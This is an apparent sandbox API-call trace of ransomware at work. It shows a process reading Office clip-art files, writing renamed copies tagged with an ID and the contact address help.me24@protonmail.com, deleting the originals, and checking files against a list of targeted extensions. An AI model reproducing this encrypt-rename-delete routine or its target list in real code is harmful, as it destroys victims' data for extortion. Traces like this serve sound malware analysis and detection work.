	[0094.822] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.822] SetEndOfFile (hFile=0x35c) returned 1
	[0094.823] CloseHandle (hObject=0x35c) returned 1
	[0094.823] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0094.823] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf")) returned 1
	[0094.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68
	[0094.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68
	[0094.823] lstrlenW (lpString=".doc") returned 4
	[0094.823] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0094.823] lstrlenW (lpString=".docx") returned 5
	[0094.823] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0094.823] lstrlenW (lpString=".pdf") returned 4
	[0094.823] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0094.823] lstrlenW (lpString=".xls") returned 4
	[0094.823] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0094.823] lstrlenW (lpString=".xlsx") returned 5
	[0094.823] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0094.823] lstrlenW (lpString=".ppt") returned 4
	[0094.823] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0094.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68
	[0094.823] lstrlenW (lpString=".zip") returned 4
	[0094.823] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0094.823] lstrlenW (lpString=".rar") returned 4
	[0094.823] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0094.823] lstrlenW (lpString=".bz2") returned 4
	[0094.824] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0094.824] lstrlenW (lpString=".7z") returned 3
	[0094.824] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0094.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68
	[0094.824] lstrlenW (lpString=".dbf") returned 4
	[0094.824] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0094.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68
	[0094.824] lstrlenW (lpString=".1cd") returned 4
	[0094.824] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0094.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68
	[0094.824] lstrlenW (lpString=".jpg") returned 4
	[0094.824] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0094.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68
	[0094.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68
	[0094.824] lstrlenW (lpString=".doc") returned 4
	[0094.824] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0094.824] lstrlenW (lpString=".docx") returned 5
	[0094.824] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0094.824] lstrlenW (lpString=".pdf") returned 4
	[0094.824] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0094.824] lstrlenW (lpString=".xls") returned 4
	[0094.824] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0094.824] lstrlenW (lpString=".xlsx") returned 5
	[0094.824] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0094.824] lstrlenW (lpString=".ppt") returned 4
	[0094.824] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0094.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68
	[0094.824] lstrlenW (lpString=".zip") returned 4
	[0094.824] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0094.824] lstrlenW (lpString=".rar") returned 4
	[0094.824] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0094.824] lstrlenW (lpString=".bz2") returned 4
	[0094.824] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0094.824] lstrlenW (lpString=".7z") returned 3
	[0094.825] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0094.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68
	[0094.825] lstrlenW (lpString=".dbf") returned 4
	[0094.825] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0094.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68
	[0094.825] lstrlenW (lpString=".1cd") returned 4
	[0094.825] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0094.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68
	[0094.825] lstrlenW (lpString=".jpg") returned 4
	[0094.825] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0094.825] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0094.825] lstrlenW (lpString="HH01065_.WMF") returned 12
	[0094.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0094.825] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=1268) returned 1
	[0094.825] CloseHandle (hObject=0x35c) returned 1
	[0094.825] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf")) returned 0x220
	[0094.825] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0094.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0094.826] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.826] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0094.826] GetLastError () returned 0x0
	[0094.826] ReadFile (in: hFile=0x35c, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x4f4, lpOverlapped=0x0) returned 1
	[0094.827] WriteFile (in: hFile=0x380, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x500, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x500, lpOverlapped=0x0) returned 1
	[0094.828] ReadFile (in: hFile=0x35c, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0094.828] WriteFile (in: hFile=0x380, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0094.828] SetEndOfFile (hFile=0x380) returned 1
	[0094.828] CloseHandle (hObject=0x380) returned 1
	[0094.829] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.829] SetEndOfFile (hFile=0x35c) returned 1
	[0094.829] CloseHandle (hObject=0x35c) returned 1
	[0094.829] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0094.830] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf")) returned 1
	[0094.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68
	[0094.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68
	[0094.830] lstrlenW (lpString=".doc") returned 4
	[0094.830] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0094.830] lstrlenW (lpString=".docx") returned 5
	[0094.830] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0094.830] lstrlenW (lpString=".pdf") returned 4
	[0094.830] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0094.830] lstrlenW (lpString=".xls") returned 4
	[0094.830] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0094.830] lstrlenW (lpString=".xlsx") returned 5
	[0094.830] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0094.830] lstrlenW (lpString=".ppt") returned 4
	[0094.830] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0094.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68
	[0094.830] lstrlenW (lpString=".zip") returned 4
	[0094.830] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0094.830] lstrlenW (lpString=".rar") returned 4
	[0094.830] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0094.830] lstrlenW (lpString=".bz2") returned 4
	[0094.830] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0094.830] lstrlenW (lpString=".7z") returned 3
	[0094.830] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0094.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68
	[0094.830] lstrlenW (lpString=".dbf") returned 4
	[0094.831] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0094.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68
	[0094.831] lstrlenW (lpString=".1cd") returned 4
	[0094.831] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0094.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68
	[0094.831] lstrlenW (lpString=".jpg") returned 4
	[0094.831] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0094.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68
	[0094.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68
	[0094.831] lstrlenW (lpString=".doc") returned 4
	[0094.831] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0094.831] lstrlenW (lpString=".docx") returned 5
	[0094.831] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0094.831] lstrlenW (lpString=".pdf") returned 4
	[0094.831] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0094.831] lstrlenW (lpString=".xls") returned 4
	[0094.831] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0094.831] lstrlenW (lpString=".xlsx") returned 5
	[0094.831] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0094.831] lstrlenW (lpString=".ppt") returned 4
	[0094.831] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0094.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68
	[0094.831] lstrlenW (lpString=".zip") returned 4
	[0094.831] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0094.831] lstrlenW (lpString=".rar") returned 4
	[0094.831] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0094.831] lstrlenW (lpString=".bz2") returned 4
	[0094.831] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0094.831] lstrlenW (lpString=".7z") returned 3
	[0094.831] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0094.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68
	[0094.831] lstrlenW (lpString=".dbf") returned 4
	[0094.831] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0094.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68
	[0094.831] lstrlenW (lpString=".1cd") returned 4
	[0094.832] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0094.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68
	[0094.832] lstrlenW (lpString=".jpg") returned 4
	[0094.832] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0094.832] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0094.832] lstrlenW (lpString="HH01080_.WMF") returned 12
	[0094.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0094.832] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=5000) returned 1
	[0094.832] CloseHandle (hObject=0x35c) returned 1
	[0094.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf")) returned 0x220
	[0094.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0094.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0094.832] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.833] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0094.833] GetLastError () returned 0x0
	[0094.833] ReadFile (in: hFile=0x35c, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x1388, lpOverlapped=0x0) returned 1
	[0094.835] WriteFile (in: hFile=0x380, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x1390, lpOverlapped=0x0) returned 1
	[0094.836] ReadFile (in: hFile=0x35c, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0094.836] WriteFile (in: hFile=0x380, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0094.837] SetEndOfFile (hFile=0x380) returned 1
	[0094.837] CloseHandle (hObject=0x380) returned 1
	[0094.837] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.837] SetEndOfFile (hFile=0x35c) returned 1
	[0094.838] CloseHandle (hObject=0x35c) returned 1
	[0094.838] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0094.838] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf")) returned 1
	[0094.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68
	[0094.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68
	[0094.838] lstrlenW (lpString=".doc") returned 4
	[0094.838] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0094.838] lstrlenW (lpString=".docx") returned 5
	[0094.838] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0094.838] lstrlenW (lpString=".pdf") returned 4
	[0094.838] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0094.838] lstrlenW (lpString=".xls") returned 4
	[0094.838] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0094.838] lstrlenW (lpString=".xlsx") returned 5
	[0094.838] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0094.838] lstrlenW (lpString=".ppt") returned 4
	[0094.839] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0094.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68
	[0094.839] lstrlenW (lpString=".zip") returned 4
	[0094.839] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0094.839] lstrlenW (lpString=".rar") returned 4
	[0094.839] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0094.839] lstrlenW (lpString=".bz2") returned 4
	[0094.839] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0094.839] lstrlenW (lpString=".7z") returned 3
	[0094.839] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0094.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68
	[0094.839] lstrlenW (lpString=".dbf") returned 4
	[0094.839] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0094.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68
	[0094.839] lstrlenW (lpString=".1cd") returned 4
	[0094.839] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0094.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68
	[0094.839] lstrlenW (lpString=".jpg") returned 4
	[0094.839] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0094.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68
	[0094.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68
	[0094.839] lstrlenW (lpString=".doc") returned 4
	[0094.839] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0094.839] lstrlenW (lpString=".docx") returned 5
	[0094.839] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0094.839] lstrlenW (lpString=".pdf") returned 4
	[0094.839] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0094.839] lstrlenW (lpString=".xls") returned 4
	[0094.839] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0094.839] lstrlenW (lpString=".xlsx") returned 5
	[0094.839] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0094.839] lstrlenW (lpString=".ppt") returned 4
	[0094.839] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0094.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68
	[0094.840] lstrlenW (lpString=".zip") returned 4
	[0094.840] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0094.840] lstrlenW (lpString=".rar") returned 4
	[0094.840] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0094.840] lstrlenW (lpString=".bz2") returned 4
	[0094.840] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0094.840] lstrlenW (lpString=".7z") returned 3
	[0094.840] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0094.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68
	[0094.840] lstrlenW (lpString=".dbf") returned 4
	[0094.840] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0094.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68
	[0094.840] lstrlenW (lpString=".1cd") returned 4
	[0094.840] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0094.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68
	[0094.840] lstrlenW (lpString=".jpg") returned 4
	[0094.840] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0094.840] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0094.840] lstrlenW (lpString="HH01242_.WMF") returned 12
	[0094.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0094.841] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=7340) returned 1
	[0094.841] CloseHandle (hObject=0x35c) returned 1
	[0094.841] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf")) returned 0x220
	[0094.842] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0094.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0094.842] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.842] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0094.842] GetLastError () returned 0x0
	[0094.842] ReadFile (in: hFile=0x35c, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x1cac, lpOverlapped=0x0) returned 1
	[0094.843] WriteFile (in: hFile=0x380, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x1cb0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x1cb0, lpOverlapped=0x0) returned 1
	[0094.844] ReadFile (in: hFile=0x35c, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
